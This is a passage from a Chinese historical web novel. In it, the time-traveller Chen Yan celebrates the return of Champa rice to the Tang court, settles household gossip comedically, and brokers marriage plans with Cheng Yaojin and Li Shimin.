他赶紧给戴胄投去了一个求助的目光。 戴胄很从心,甩了甩袖子,“哎呀,果然是年纪大了呀,才坐了这么短时间,我竟感觉腰酸背痛......我得回去休息休息了。” 陈衍:“......” 他再次扭头,却发现杜如晦和房玄龄等人早就没影了。 只有魏征幽怨地看了李世民一眼,心里还惦记着他的菠菜。 “行行行!”李世民挥手,“叫尚食局给他炒个菠菜,再给他一壶好酒,让他吃去吧。” 无舌领命,带着高高兴兴的魏征离开了。 甘露殿内,顿时就剩下了李世民以及陈衍。 “来,看看吧!” 正当陈衍心里忐忑,寻思着该怎么卖惨的时候,李世民掏出了一份密报,摆在案几上。 陈衍惊讶,不是找自己麻烦? 见他表情,李世民便猜到他在想什么了,没好气道:“赶紧的,朕在你心里就那么小气吗?” “没有,陛下您最大方了。” 陈衍嘟囔一句,走过去,毫不客气地打开李世民摆出来的密报。 当看清上面的内容,心下大喜。 “无旌骑回来了?” “嗯,回来了!”李世民微笑着颔首,“前些日子已经进入了大唐海峡关口,昨天晚上朕收到的消息。” “估计再有一段日子,便会返回渭南县了。” “那......占城稻带回来了吗?”陈衍急切地问。 这是他给无旌骑定下的一个目标,亦是证明无旌骑作用的机会。 更是为今后天下万民,能有更多的粮食收获,不至于吃观音土。 贞观三年大旱,大量灾民逃亡长安,他真的见识过太多苦难了,很多史书上冷冰冰的文字,在那一刻具现成现实,给予了他这个现代人灵魂前所未有的冲击。 所以,当他冒着风险提议组建无旌骑,砸下去无数钱财,却没有第一时间让 他们去占据倭国的银矿,而是首先将目标对准了占城稻。 民以食为天啊! 提起这个,李世民同样很高兴,忍不住打趣道:“由你提议组建的无旌骑,从武器装备、到平日怎么训练、乃至饮食都是你亲自规划。” “你不应该是对他们最有信心的吗?” “为何现在看起来如此忐忑?” “陛下......”陈衍一时间答不上话,语气弱了三分,“不是我对无旌骑没有信心,而是占城稻真的太过重要了,即便我再有信心,但面对这个消息,依旧无法保持冷静。” “哈哈哈哈!” 李世民听闻心情大好,不再隐瞒,“带回来啦,牛进达他们险些杀到人家国都,抢了不止一座粮仓,连海船都抢回来十几艘,用来装粮种!” “正好今年的土豆大丰收,现在都已经储存起来,加上你说的占城稻也被无旌骑带了回来,明年有了土豆和这占城稻......子安,朕真的要把贞观打造成盛世了啊!” “嗯嗯嗯,盛世,盛世......” 陈衍随口敷衍着,心里已经开始寻思占城稻该种在哪里了。 这玩意跟土豆不同,随便哪里都能种,长安附近也没问题。 但如果是占城稻的话,说真的,得好好想想在哪种植。 江南? 不太行。 贞观期间,江南还未成为后世拥有圩田技术的江南,也没有高效率的农业灌溉,所以排除。 南方的话......天高地远,问题太多。 最好的选择,应该是河北、河南地区的黄河中下游平原。 毕竟这个地方本就是大唐的农业核心区域,土地肥沃、天气适宜、水利发达、便于运输。 用来种植占城稻最合适不过。 土豆的话,就留在长安附近种植吧。 这样一来,要不了一两年,本就一个劲在降的粮价,恐怕还会继续降低,哪怕到了灾荒年,也不至于到吃观音土的地步...... “子安?子安?” 李世民听到陈衍敷衍的话,满头黑线,可眼看人家好像在想事情,又不好发脾气,故此叫了两声。 但见他仍无反应,语气加重了些,“陈子安!” “哎!哎!” 陈衍回过神,赶忙应道:“在呢,在呢!” “陛下有啥事?” “你......哎!”李世 民抬手,想要发作,但转念一想,这小子就这么个性格,自己何必跟他一般见识? 说不定到时候还说不过呢。 “算了,等无旌骑回来,你跟朕,以及观音婢走一趟。”李世民语气轻松,“当初咱们亲口承诺过,要用最大的碗,呈最烈的酒迎他们回来,如今他们背井离乡,带着占城稻回来,朕自然不能食言!” “你听到了吗?” “陛下是在骂我呢?”陈衍笑吟吟道:“您没忘,我也不敢忘记啊!” “嗯,如此便好。” 李世民欣慰点头,随即问:“对了,方才你小子想什么呢?怎么叫你都没反应?” “陛下,我是在想,既然占城稻带回来了,那首先便要想好在哪种植,先做出一系列准备了,毕竟现在年底,今年马上便要过去了。”陈衍即刻道: “占城稻很特殊,等开春之后没多久便可以开始种植了,所以我得提前想好这个问题啊。” 李世民沉吟道:“此事确实要慎重,你认为占城稻种在哪里比较好?” “我的想法是,种植在河南道地区,那里靠近大运河,一来......” 陈衍仔细给李世民分析着各种利弊,后者听得连连点头,当即拍板应下来。 “好,就按你的想法来,朕琢磨一下,近两日拿出一个具体的章程来。” 两人又商量了一会,李世民挥手,“好了,你先回去吧,以后少跟朕哭穷,否则下次挨板子的就是你了。” “得嘞!” 陈衍不含糊,转身就走。 狗屁的不跟你哭穷,以后专跟你哭穷。 别以为我不知道你现在内帑有多少钱,都记着嘞! 不苦你李世民,难道苦我户部不成? “......” 第545章 给我狠狠地打!!! “哼哼,哼哼~” 傍晚,陈衍一路哼着小调返回家中,李丽质见状含笑道:“夫君,今日是怎的了?看起来心情如此之好?” “哎呀,无旌骑回来啦,带回了占城稻,目前已经进入大唐境内,用不了多久便能到渭南县,你说我心情能不好吗?” 对李丽质没什么好隐瞒的,陈衍嘴角扬起一抹愉悦的笑,抿了口妻子端来的热茶,继续哼着旁人难以听懂的小调。 李丽质静静望着他,眼里的光一点点软下来,温柔得像春日里化开的溪水,潺潺地、缓缓地,只绕着他一个人流。 眼前之人,他从小锦衣玉食,被一众大人物团宠时,本本分分、规规矩矩,不嚣张跋扈、不欺男霸女,从未骄纵,不曾用鼻孔看人,觉得自己高人一等。 那时的他没有高兴! 反倒灾荒年临,大量流离失所灾民奔赴长安,他散尽好不容易积攒下来的家财,给灾民散粥、治病,坐在地上跟灾民吹牛时,脸上全是笑容。 在日进旁人难以想象的财富时,未曾流露过一丝兴奋。年少成名,官居四品、即将成为权势滔天的户部尚书时,却在叹息今后不能睡懒觉了。 如今,得知那堪称祥瑞的占城稻被带回,一路蹦蹦跳跳地回来,哼着小调,高兴得像个孩子。 你说,这样的男子,怎能不让人喜欢? 回忆往昔,李丽质总在庆幸。 庆幸自己当初放下了一切,坚定地去争取。 有时候,她也不禁在想。 如果当初自己没有坚持,哪怕因为血缘问题,没有嫁给长孙冲,而是嫁给其他人,此刻会不会后悔? 脑海中每每浮现出这个想法,她心里便会涌现出一种窒息感。 如果当初没有坚持,努力争取嫁给眼前之人,李丽质很确定,她一定会后悔的。 “阿兄,阿兄!” 得知陈衍回来,小兕子迫不及待地跑过来,很是熟练地瞪着小脚丫子往他怀里爬。 “怎么啦?” 陈衍心情很好,一把搂着她,让她坐在自己大腿上。 “我悄悄跟你说噢,你不要告诉其他人。” 小兕子溜溜的眼睛时不时瞟着,但却没有了下文。 陈衍眉头一挑,表情怪异。 李丽质忍不住竖眉,“怎么?我难道是外人不成?” “还是说,你又想说我坏话?” “没有没有,怎么可能嘛 ~” 小家伙撒着娇,也不管李丽质了,小死嘴已经快憋不住说八卦了,凑到陈衍耳边,贼溜溜地压低声音,“我今天又看到高阳阿姐喊小岁安娘了,小岁安应了她好多声,她还不满意,继续喊呢。” “阿兄,你说高阳阿姐怎么玩得那么花?喊自己亲女儿娘亲。” 陈衍:“......” 李丽质:“......” 说真的,当初被马匪截杀的时候,陈衍都没慌过。 现在,他忽然有点慌了。 陈衍急忙掰着小家伙的脑袋,认真问:“我问你,这件事还有多少人知道?” 对于这个人形八卦传呼机,他已经无可奈何了。 一旦家里有点什么小八卦发生,当天全府上就都知道了,一旦回宫,整个皇宫又都知道了。 小兕子眨巴着眼睛,掰着小指头数数:“城阳阿姐、小顺子、青儿小小娘子、香岚、婵儿......小谢、小曲儿都知道啦。” 小嘴叭叭地报出一大串人名,越报、李丽质和陈衍的脸就越黑。 听到最后,陈衍终于绷不住了,“小谢、小曲,那特么不是外面两个门房吗?” 自从地位上来,拜访的人多了,渭国公府自然不能跟以前一样随便,招了不少下人和侍卫以及门房回来。 小谢、小曲就是外面两个守门的。 这两人都特么知道啦? “嗯呐~” 小兕子理直气壮地点点头,“阿兄,我跟你说,你得管管你家娘子了,我觉得她有点脑疾,你不是会医术吗?你赶紧给她治治,喊自己女儿娘亲算怎么回事?” “关键是小岁安都应了她那么多声,她竟然还不满足,乐此不疲地喊。” 陈衍:“......” 我尼玛...... 李丽质一拍额头,精致如画的脸庞已黑如锅底,“这次你别管,要不然我跟你急!” 说完,她在陈衍沉默,小兕子茫然的目光中,揪着小兕子的耳朵一路往外。 “哎哎哎,阿姐,阿姐,你干什么呀?疼疼疼......呀!别打屁屁!” “疼,我让你知道疼!” “哇,呜呜呜~” 呵斥声和委屈巴巴的哭声渐行渐远,陈衍嘴角扯了扯,喝了口茶,沉默两息,仰天长叹。 “这一天天的啊,怎么就没个消停呢?” 他不禁想起从前高阳跟自己 说的一句话。 “你没觉得兕子现在衍里衍气的吗?我原本乖巧可爱的妹妹,已经彻底被你带坏了。” 继续回想起前世有关晋阳公主的记载,再想想现在的兕子,陈衍头一次开始怀疑人生了。 这对吗? “砰——” 忽的,门被猛然大力踹开,高阳怒气冲冲地跑进来,咬牙切齿地环顾周围,眼看没发现自己的目标,瞪着陈衍:“李明达呢?方才青儿告诉我她来了这里,人呢?” 陈衍嘴唇轻动,一句话没说出来,又挠挠头,尽量让自己的言语委婉些,“那个......棠儿啊,事情既然已经发生,我们首先想的应该是怎么弥补,然后才要考虑教训......” “毕竟,事情要分得清主次,明白什么重要,什么可以暂时先放一边!” “呵呵......”高阳怒极反笑,喘着气道:“那如果我告诉你,整个皇宫上至父皇、母后,下至宫女宦官、甚至连承天门的禁卫都知道你肾虚公子的名号了呢?” “......” “打!” “给我狠狠地打!!” “有句话怎么说来着?玉不雕不成器,孩不打不懂事,一定要给我狠狠地打!!!” “......” 第546章 我必须去看看怎么个事儿 傍晚时分,渭国公府里好一阵鸡飞狗跳,高阳和陈衍的怒骂,伴随着小兕子的哭喊声响彻不停。 小清月跟城阳撑着小下巴,蹲在屋外不远处。 “城阳小殿下,您不去劝劝吗?” 半晌,小清月百无聊赖地问。 这种情况,在渭国公府属实算不上罕见,挺多下人都听到了,但都各干各的事,没人在意,当做没听见。 “我怎么去劝呀?” 城阳撇撇嘴,“小兕子自己作死,挨揍是应该的,我才不去嘞,万一连我一起揍怎么办?” “我始终记得姐夫说过的一句话,打不过,你难道还不会跑吗?” “三十年河东,三十年河西啊!” “现在他们揍我们,你且等几十年的,等他们拄拐棍了,你就瞧我们的吧。” 小清月:“......” 所以......这就是你无数次卖兕子,一看情况不对,跑得比兔子还快的理由吗? 此时,魏王李泰和魏王妃走过来,瞧了两个小家伙一眼,侧着耳朵听了一会儿,魏王妃莞尔一笑,没说什么。 李泰啧啧道:“要我说,兕子有时候确实该揍,以前子安兄老说什么孩子还小,引导、教导才是最重要的。” “结果现在好啦,喊得最大声的就是他!” “你可别说风凉话了。”魏王妃斜睨,“有关他们一家的八卦,你也没少传。” “我记得你还跟杜构他们吹嘘,说什么就是因为渭国公不小心,才导致你们研究炸药的时候被炸飞。” “这种话,亏你好意思说得出口。” 李泰尴尬道:“别说了,要脸。” “四哥,你说明天兕子还能下床吗?” 城阳仰着小脑袋,问出一个问题。 “这个......”李泰会心一笑,“子安兄医术那么高明,下手肯定是知道分寸的,能不能下床我不好说,但肯定足够疼!” “唉,兕子啊,不是阿姐不帮你,而是你自己太皮啊!” 城阳小大人似的叹息,随即道:“清月小娘子,走,咱们玩去。” 清月:“......” “......” “呜呜呜,不敢啦,以后再也不敢啦~” 屋内,小兕子哭唧唧地捂着小后腚,眼泪汪汪。 三人轮番上阵揍她,这谁受得了呀? 高阳仍有些气不过 ,喘着气瞪她。 陈衍那叫一个心累,痛心疾首,“我上辈子是作了什么孽啊,兕子啊兕子,你说你对得起我吗你?” “亏我以前对你那么好,结果你到处跟人说我肾虚!” “可那是高阳阿姐先说的呀。”兕子更委屈了,“我不过是爱讲点小故事给别人听,想让大家开心点,为啥揍我呀。” 陈衍:“......” 他被气笑了,“你还挺懂语言艺术哈?爱讲点小故事,让大家开心,所以你就拿我跟你阿姐的八卦让大家开心啊?” “你可真是我的好妹妹!” “算了算了,我不管你了。” 陈衍挥挥手,想起来一件事,对李丽质说,“丽质,你帮我让下人准备点好酒,再准备些治皮肉伤的膏药。今天程伯伯他们挨了板子,我去瞅瞅怎么个事儿。” 李丽质:“......” 她欲言又止。 很想说你此刻过去不是找事吗? 人家为啥挨板子? 还不都因为你! 现在过去,真的不是去幸灾乐祸吗? “夫君......要不你改日再去?” “改日?改不了一点,程伯伯从小待我如子侄,亲如一家,如今他挨了罚,我怎能不第一时间去探望?” “可是......” “好啦,没什么可是,我今天必须去瞅瞅怎么个事儿!” 李丽质:“......” 行吧,你高兴就好。 “......” 这时,程府。 程咬金趴在床上,满脸郁闷。 “入他娘的,本以为他们不会真打老子,结果就十板子是装模作样打的,另外十板子他们是真下狠手啊!” “爹,您这十板子挨得不冤。” 程处亮不合时宜道:“谁让您当朝打人呢?十板子都算轻的了,您啊,快拉倒吧,别叭叭了。反正以您的体格子,要不了多久又能活蹦乱跳。” 程咬金瞪眼,“小兔崽子你怎么说话呢?合着老子就该挨这十板子呗?” “你怎么不想想,若不是陈衍那小子,老子连这十板子都不用挨!” 程处亮翻了个白眼,“您怎么还老惦记这事儿呢?” “娘不早跟你说清楚了吗?你这顿打肯定是要挨的,谁让你前段时间跟尉迟叔一样,把脑子给丢了,在朝会的时候打人,还四处惹 祸,闹了多少笑话?” “别觉得是陈大哥夹带私活了,这分明是陛下想给您个教训啊!” 程咬金语塞,梗着脖子便想反驳,然而,这时外面传来了崔氏高兴的声音。 “哎,子安,你来就来,怎么还提着这么多东西啊?” 程咬金听清楚了他们说什么,但又有些不确定,豁然抬起头。 “处亮,你刚刚听到你娘的话没有?陈衍那小子来了?” 程处亮已经大概猜到怎么回事了,毕竟他跟陈衍也算从小一起长大的,对后者自然是无比了解,忍着笑意点头:“嗯,确实是陈大哥来了。” “他奶奶的,这小子真敢来啊他!” 程咬金眼睛登时红了,呵斥道:“你他娘的小兔崽子还愣着干什么?取我刀兵!” “快取我刀兵!!!” 程处亮:“......” “得,我给您取哈,您等着。” 他随口敷衍着,没当回事。 然而此时,崔氏也高高兴兴地领着陈衍进门了。 后者拎着大包小包,一见到趴在床上的程咬金,脸都快笑烂了。 “哎呦喂,这不是我亲爱的程伯伯吗?” “怎么啦这是?” “几天不见,混这么拉了?” 崔氏:“......” 程处亮:“......” 母子俩对视一眼,眼里满是笑意,随后默契地往后退了退,一副看热闹的表情。 程咬金脸色黢黑,用鼻音‘嗯’了声。 陈衍也不在意,热情无比地凑上去,大包小包往下一丢,就开始给他介绍这些东西的用处。 什么治跌打损伤的膏药啊、外用的、内服的、内外兼可的,那叫一个一应俱全,面面俱到啊! 这可给程咬金气够呛。 “小子,你成心的吧?” “对呀!”陈衍态度诚恳,“程伯伯,我就是诚心的啊,诚心来探望您,希望您一切安好!” “......” 第547章 程咬金:定取刀兵!要你狗命! 诚心...... 好一个诚心啊! 程咬金气得不行,真想跳起来给眼前之人一锤,给他嵌墙里去。 但当他要付诸实践的时候,屁股传来一阵钻心的疼。 程咬金顿时就郁闷了。 按照对陈衍二十年的了解,说他肯定说不过这小子的,依照现在的情况,想动手他也没那个能力。 所以在生气和窝囊之间,他选择了生窝囊气。 程咬金不说话了。 “哎呀,程伯伯,您为何不说话了呢?是天生不爱说吗?” 程咬金依旧不言,甚至将头撇了过去。 崔氏见状笑得直不起腰,“衍哥儿,晚上就在家里吃吧,伯母让后厨给你准备好吃的。” “别给他吃!”程咬金一听,怒道:“这小子还参了老子一本,说什么耕牛多重要多重要的,弹劾我老程多么罪大恶极。他奶奶的,现在想想都来气,还给他吃个屁!” “让这混账小子喝西北风去!” 陈衍含笑对崔氏拱手,“既然崔伯母开口,侄儿定然没有拒绝的道理,放心,崔伯母,侄儿不会跟您客气的。” “那就好,你跟我家老程......嗯,多聊聊,我吩咐后厨去。” 两人都没搭理程咬金,一说一答,笑容就没停下来过。 给旁边的程处亮都整乐了。 程咬金骂骂咧咧,一会儿生气,一会儿哀嚎的,饶是如此,崔氏也没放在心上,仔细叮嘱了陈衍一定要好好陪陪程咬金,随即便离开了。 她一走,程处亮立即开腔了,“爹,您说您这是何必呢?您难道不清楚,在这个家,有时候您的地位是最低的吗?” 程咬金:“......” 小兔崽子,瞎说什么大实话? 你爹我不要面子的吗? “哎,处亮,话可不能这么说,你讲的那个,毕竟是在家的时候,程伯伯在外还是很有样儿的,这不,当众打了人,挨了板子。” 陈衍乐呵呵地补了一刀。 程咬金一言不发。 三十年河东,三十年河西,莫欺中年穷! 且等我伤好! 定取刀兵! 要你狗命! 他暗恨想着。 “好了,不开玩笑了。” 陈衍摆了摆手,程处亮相当自觉地搬来一张椅子,让他坐在程咬金旁边。 没办 法,在这个家,从小以来陈衍对他最好,有什么都第一时间想着他,亲哥不过如此。 他自己也懂事,记着陈衍的好。 陈衍坐下,刚想开口,思忖了片刻,突然想起一件事,扭头道:“对了处亮,大哥给你寻摸个好媳妇咋样?” 程咬金还以为陈衍要说什么呢,没想到开口就要给自己二儿子找媳妇,当即愣住了。 别说他,身为当事人的程处亮也是一怔。 迟疑片刻,他摇头拒绝,“我知晓陈大哥定然是不会害我,说给我找好媳妇,定然差不了,但家中长兄还未成家,我这......不太合适。” “哎,无妨!” 陈衍无所谓道:“顺手给你们俩一起解决了,两兄弟一起娶,岂不更好?” “那行啊!” 话说到这里,程处亮没什么好犹豫的,本来家里这几天都在为程处默找姑娘,现在顺手把他的事一起办了,还有什么不满足的? “小子,你别给我整事儿!” 程咬金闻言抓住陈衍的手臂,大儿子找个贤惠的姑娘没问题,但二儿子他另有打算的。 这个时代人都一个想法,长子注定要继承爵位,二儿子不能什么都没有吧? 想想史书上,不管是房玄龄、杜如晦,都是让大儿子娶个贤淑的娘子,二儿子跟皇家联姻,找个靠山。 杜如晦的二儿子杜荷还娶了城阳呢。 程咬金自然不例外,而且他连目标都选好了,便是皇室适婚的清河公主。 当初,长孙皇后没提出让陈衍娶高阳的时候,他甚至跟尉迟恭、秦琼他们商量过,运作一把,让陈衍娶清河公主来着。 后来计划赶不上变化,谁知道长孙皇后也那么上心,让陈衍娶了陛下极其疼爱的高阳公主,自己更是争气,连嫡公主长乐都拿下了。 所以程咬金就打算让自己的次子程处亮娶清河公主。 不过在这之前,得先把长子程处默的婚事解决。 “放心,我能害了处亮不成?” 陈衍宽慰程咬金一句,他对这个时代人的思想,简直再了解不过了。 再一个,史书上也明确记载了,程处亮后来的妻子是清河公主。 不过陈衍觉得没必要。 大丈夫生于世,没能有所作为,光想着找靠山躺平怎么行? 对于程处亮,他心里已经有所打算了! 程咬金默默盯了陈衍两息,点了点头 ,“你小子办事向来滴水不漏,但给处亮找娘子,暂且不急,你有什么打算,得跟我说清楚,让我看到成果才行!” 陈衍顿了顿,明白了这是独属于这个时代父母的担忧,犹豫了一下,答应下来。 “既然您如此说了,那我也不好擅自安排。” “处亮,只能暂时委屈你了。” “没事的陈大哥!”程处亮毫不在意,“我年纪又不大,有就有,没有就算了,我不急。” “行,那继续说正事。” 陈衍颔首,对程咬金认真道:“今日来,第一件事,其实就是关于处默兄的婚事。” “我提议让处默兄娶世家女,您觉得如何?” 闻听此言,程咬金眉头一蹙,“若放在以前,我定然是举双手赞成的,但现在的情况你也知道......陛下跟世家的冲突已经到了无法调和的地步,明争暗斗时刻进行。现在让处默娶世家女......” 贞观六年即将到来,目前大家都在盯着科举。 如果科举的结果大好,有不少寒门子弟出头,那么世家的下场绝对好不到哪里去。 就算结果不太好,那等下一次呢? 图书馆就立在那里,这次不行,难不成下一次还不行? 世家现在已经进入了黄昏时刻,还跑去娶人家干什么? 再一个,以当前的形势,你跑去娶世家女,李世民该怎么想? 如果不是因为如此,程咬金老早就给程处默找到好媳妇了。 毕竟从前是他们求着娶世家女,现在是人家倒贴,而他们避之不及。 “......” 第548章 陈衍:小了嘛不是 “程伯伯此言差矣!” 陈衍笑着说:“我暂且不提千年世家没那么容易倒,就算倒了又能如何?” “往日,为何长安勋贵个个想娶世家女?不仅仅是因为人家的家世,另一方面不也因为世家女是真的好吗?” “我提议处默兄娶世家女,又不是娶世家,人家的姑娘好,那娶人家的姑娘有什么问题?” “我问你,崔伯母自从嫁给你,可曾胳膊肘往外拐过?你那日打的还是崔伯母的亲族兄弟呢,她抱怨过你一句吗?” “话是如此......”程咬金依旧犹豫,“但咱们得考虑陛下的想法啊,满朝文武皆知陛下与世家斗得水深火热,别人都对世家避之不及,而我反倒让处默娶世家女,哪怕没有帮世家的心思,别人也不会信啊。” “小了嘛,不是?”陈衍无奈摇头,程咬金还没意识到里面的深意。 “什么小了?” “格局小了呗,还什么小了。” 陈衍翻了个白眼,“这么简单的问题,为什么要想那么复杂?你若不愿意出面,我去跟陛下说一声不就完了?” “我们站在陛下的角度想,只要说清楚,让处默娶世家女,实际上有什么坏处吗?” “我告诉你,一点坏处没有,反而都是好处!” 程咬金沉吟,“你仔细说说。” “行啊!”陈衍组织了一下言语,侃侃而谈:“第一,这是表态,更是站队,如今陛下与世家相争,表面波澜不惊,底下却暗流汹涌。” “五姓七望全部在观望,在犹豫,在找后路,例如跟我合作绢帛也是如此。” “你再想想,此时若有一家备受陛下器重的显赫勋贵,主动以联姻示好,岂不是在向天下表明,皇权之下,仍有包容与拉拢的空间?” “这不是向世家低头,而是展现朝廷与陛下的气度与策略!” “分化、吸纳,才是主要目的,而非一味打压、赶尽杀绝!” 陈衍竖起第二根手指头:“第二,安人心,稳局面。” “科举在即,有图书馆的存在,寒门崛起之势已不可挡,世家若感到绝路,难免狗急跳墙,届时发生什么都不好说。” “此时联姻,就好比一剂缓药,让一部分世家看到被接纳的可能,从而软化抵触,减少变革的阻力。” “程伯伯,你首先就忘了一个问题,跟世家你死我活是陛下想看到的局面吗?” 他自问自答道:“ 不是的,陛下要的不是你死我活,而是平稳过渡。因为谁都清楚贞观六年到底有多么重要,不允许任何地方出现差错。” “这桩婚事,便是过渡的桥梁之一,同时也是一个信号。” “处默兄开了这个头,长安有的是聪明人反应过来,同样会选择娶世家女......嗯,至少我敢保证魏征肯定能跟上!” “至于对程家的好处,那还用我说吗?” 到最后,陈衍展露笑意,“你自己稍微寻思一下,就能明白现在娶世家女有什么好处了。” 一席有理有据的话砸下来,程咬金沉默了半晌。 实话说,他真的心动了。 不过这有个前提,那就是李世民能按照陈衍所言的想,否则一切都是空谈! “这样......你这两天帮我去探探陛下口风,若真如你所说,我程家聘礼绝对下得起。”话已经说到这里,程咬金也不再犹豫,当即说。 “没问题!” 陈衍拍着胸脯答应下来。 这对他来说就是小事罢了。 对于李世民和世家的争斗,就好比一场棋局,即便是他,目前也还在棋盘内,未曾跳出去。 因为他选择了跟世家合作,被巨大的利益打动了。 若非如此,他实际上完全可以做一个幕后之人,在关键时刻推李世民一把,或者踩世家一脚便好。 “除了此事之外,还有其他的吗?”程咬金缓过神来,继续问。 以他对陈衍的了解,要么不登门,一旦登门就不是单单一件事了,除非是特别重要的。 而程处默的婚事,显然还没达到特别重要的程度。 “还有两件。”陈衍竖起两根手指,“无旌骑已经带着占城稻回来了,他们离开时,我给他们准备了许多炸药,等他们到渭南县,你跟尉迟伯伯趁着这段时间去跟牛叔请教一下,这玩意今后会是战争的主流武器!” “啧!”程咬金诧异,“牛进达那老小子这么快回来了?” “又没去多远,我都计划了那么久,这个时间不算快。”陈衍翘了翘嘴。 “行行行,知道你小子厉害。” 程咬金随口敷衍一句,把陈衍的话记在了心上。 一直听程处默他们说炸药到底多厉害,可他还没亲眼见识过呢。 “第三件事呢?” “第三件啊......” 面对程咬金的询问,陈衍露出一个 耐人寻味的表情,扭头看了眼旁边听得津津有味的程处亮。 程咬金见状眨眨眼,“第三件事跟处亮有关系?” “你该不会还惦记着给处亮娶媳妇吧?” “那倒没有。”陈衍露出一口大白牙,“你此前已经拒绝了,我怎么可能继续提?” “我认为处亮很有潜力,故此为了他的未来,对他做了些小小的规划,您应该......不会拒绝的吧?” 程咬金心里一个咯噔。 又来了!又来了! 又带上他娘的敬称了。 每次陈衍带上敬称,准没好事啊! 回想起方才他说无旌骑回来了,程咬金面色沉重下来,猜测道:“你想让处亮进无旌骑?” “啊?” 程处亮闻言先是一怔,随即眼冒精光! 这个好,这个好! “不不不,我没想让处亮进无旌骑。” 陈衍立即否认,“我知道处默走了武将的路,您想让处亮安安全全的过往一生,所以哪能让处亮进军队啊。” 程处亮眼神又黯淡了下来。 出生在程家,从小耳濡目染,心里哪能没个将军梦? 只是老爹老娘、以及兄长们都不同意。 “那你是什么意思?” 一听不是让程处亮进无旌骑,程咬金顿时放心了下来,随口问。 “我想让处亮参加下一次的科举。” “噢~科举啊,科举好啊,科......科什么玩意?” “......” 第549章 朕属实没料到,你还有当媒婆的爱好 程咬金一脸你仿佛在逗我的表情。 自家的崽子什么样,他难道还不清楚吗? 舞刀弄枪可以说样样精通,但要是捧起圣贤书,一个脑瓜两个大。 若程处亮能参加科举,老程家的祖坟就不是冒青烟了,那特么直接炸了。 “小子,你是在跟我说一个很小众的笑话吗?如果是的话,那你成功了,这是我今年......不,这辈子听过最好笑的笑话。”程咬金斜眼,嗤之以鼻。 就连程处亮也说:“陈大哥......你这还不如害我呢,让我去参加科举,你这真是......老太太钻被窝,给爷整笑了!” 陈衍:“......” 好吧,他感觉他在长安掀起了一股歇后语的风气,现在咋是个熟人都能说两句出来? 面对两人的质疑,陈衍并未多言,淡淡地说了一句,“我知道你们不相信,但你们就等明年科举结果出来吧,我曾教导过两个学生,你们看看明年他们的表现怎么样。” “再者,程伯伯你同样可以去问问处默,看看我说得是真是假。另外,我没有跟你们开玩笑,我是真想让处亮参加下一次科举。” 陈衍的信誓旦旦,让程咬金傻眼了,“不是,小子,你玩真的啊?” “处亮什么货色,别人不清楚,你难道还不清楚吗?” “你可别给我整什么幺蛾子啊!” “你看你,又急!”陈衍无奈,“我都说了,你不妨写封信问问在渭南县的处默,看看我的想法他认不认同。” “当初我教导那两个学生的时候,还让处默他们帮过忙,效果绝对杠杠的!” “再说了,我拿谁开玩笑,也不会拿处亮开玩笑啊。” “正事上,我什么时候坑过自家人?” 程咬金不说话了,眼睛往自己屁股瞥了眼,然后幽幽地盯着他。 陈衍:“......” “......咳咳,这个......属于你自作自受,要是陛下心里没点气,你不至于现在下不来床不是?” 古代的挨板子可不是电视上看起来那么简单,这玩意,即便只是挨上十板子,身子骨弱的话也是要老命的。 也就是程咬金体格子强,十板子顶多趴几天。 “算了,我不跟你扯这个......” 程咬金看了眼程处亮,又看了看陈衍,摸着下巴思忖了好半晌。 “写信就不必了, 你小子不至于那么丧良心,连从小跟在你们屁股后头的处亮也坑。” “看你好像有信心,让处亮跟你两年倒也无妨,反正他年纪不大......不过你得跟我保证啊,若是没能考上,以后得给处亮寻摸个好靠山!” “行,我答应了!”陈衍含笑点头,随即说:“况且,有我跟处默在,即便没给处亮找个好靠山,今后还能让人欺负了他不成。” “嗯!”程咬金发出一道鼻音,“说完了吧?说完了带着你的药麻溜滚犊子。对了,别动我家牛肉,否则等我官复原职,定然参你一本!” 陈衍:“......” 得,老小子挺记仇。 “......” 隔天下朝,陈衍并未第一时间回户部,当即去了甘露殿,想找李世民说说昨日跟程咬金商量的事。 听完陈衍的解释,李世民眉头一挑,“让程处默那小子娶世家女......此事细细想来确实不错,但你说其他人能看明白,随即跟上,有什么依据吗?” “其实没什么太大的依据,只是一种猜测罢了。”陈衍干咳,“类似杜构他们这些已经有正妻的,我就不说了,但魏征的儿子刚过适婚年龄,我觉得他若是看明白,或者我们提点两句的话,他很可能也会让自己的儿子娶世家女。” “此事说不上天上掉馅饼,那也差不多了。” “不傻的人肯定会这么干的。” 李世民定定望着他,突然问出一个让陈衍意外的问题,“那你觉得,辅机会让冲儿娶世家女吗?” “啥?长孙兄还没娶妻呢?” 李世民:“......” 人家为什么还没娶妻,你心里没点数吗? 有小道消息,长孙冲自陈衍和李丽质大婚之后,都郁闷了,平日里去风月场所都得多点几个姑娘。 “如果是这样的话,我想齐国公应该会明白,让长孙兄娶世家女的。”陈衍犹豫道。 对于这点,他确实不敢保证。 李世民颔首,“办法是好办法,你说得同样很有道理,朕是想除掉世家,但也不想跟人家拼个你死我活,特别是在明年这个特殊时期......” “而且朕不瞒着你,明年、后年、甚至大后年,朕的动作都小不了,毕竟东瀛倭国那边的银矿,朕实在眼热。” “此前朕还忧心过世家这个时候跳出来影响朕,能暂时稳住他们自然是最好的。” “除掉世家,哪 有那么容易。”陈衍摇摇头,“更何况外面群狼环伺,大唐边境遭受的威胁还未解除,不管任何事,我们得一步一步地来。” “目前,世家最大的优势已经荡然无存,随着科举将开,他们定然惶恐,找我合作,便是表现之一。越到这种时候,我们越不能骄傲自满,一切以稳妥为前提,先分化他们,稳住他们的心绪才是最重要的。” 李世民背着手,沉思良久,“此事朕答应了,不过朕不会表态,亦不会派人送礼,若有不明白的人因此非议知节一家,朕亦不会管。” “如此就够了。” 陈衍嘴角微微上扬,知道这件事已经稳了。 接下来,就是让程咬金自己选定目标,然后提亲。 接着,李世民想了想,又说了一句,“你同朕去立政殿一趟,将此事跟观音婢提提,让她暗示一下辅机,看看能不能让冲儿也娶一个。” “因为你当初的提醒,观音婢一下子狠下了心,跟辅机的关系闹得有点僵,直到今年六月后才稍微好点。” 陈衍立即明白了李世民的意思。 这是让自己去提醒一下,看看能不能一举多得啊。 “好的,咱们现在就去吗?” “嗯,现在就去吧......朕属实没料到,你小子还干起了媒婆的活儿。” “......” 第550章 山河皆闻,天地为证。 贞观五年,十一月十八! 陈衍跟李世民已经期待这一天到来很久了。 因为他们收到消息,无旌骑将在今日午时前回来。 所以,在今日下了朝之后,李世民离开之前跟陈衍对视一眼,一切尽在不言中。 陈衍没有返回户部,而是悄悄赶往了玄武门。 李世民和长孙皇后当初去送别过无旌骑,今日他们带着堪称祥瑞的粮种回来,定然是要一起去迎接。 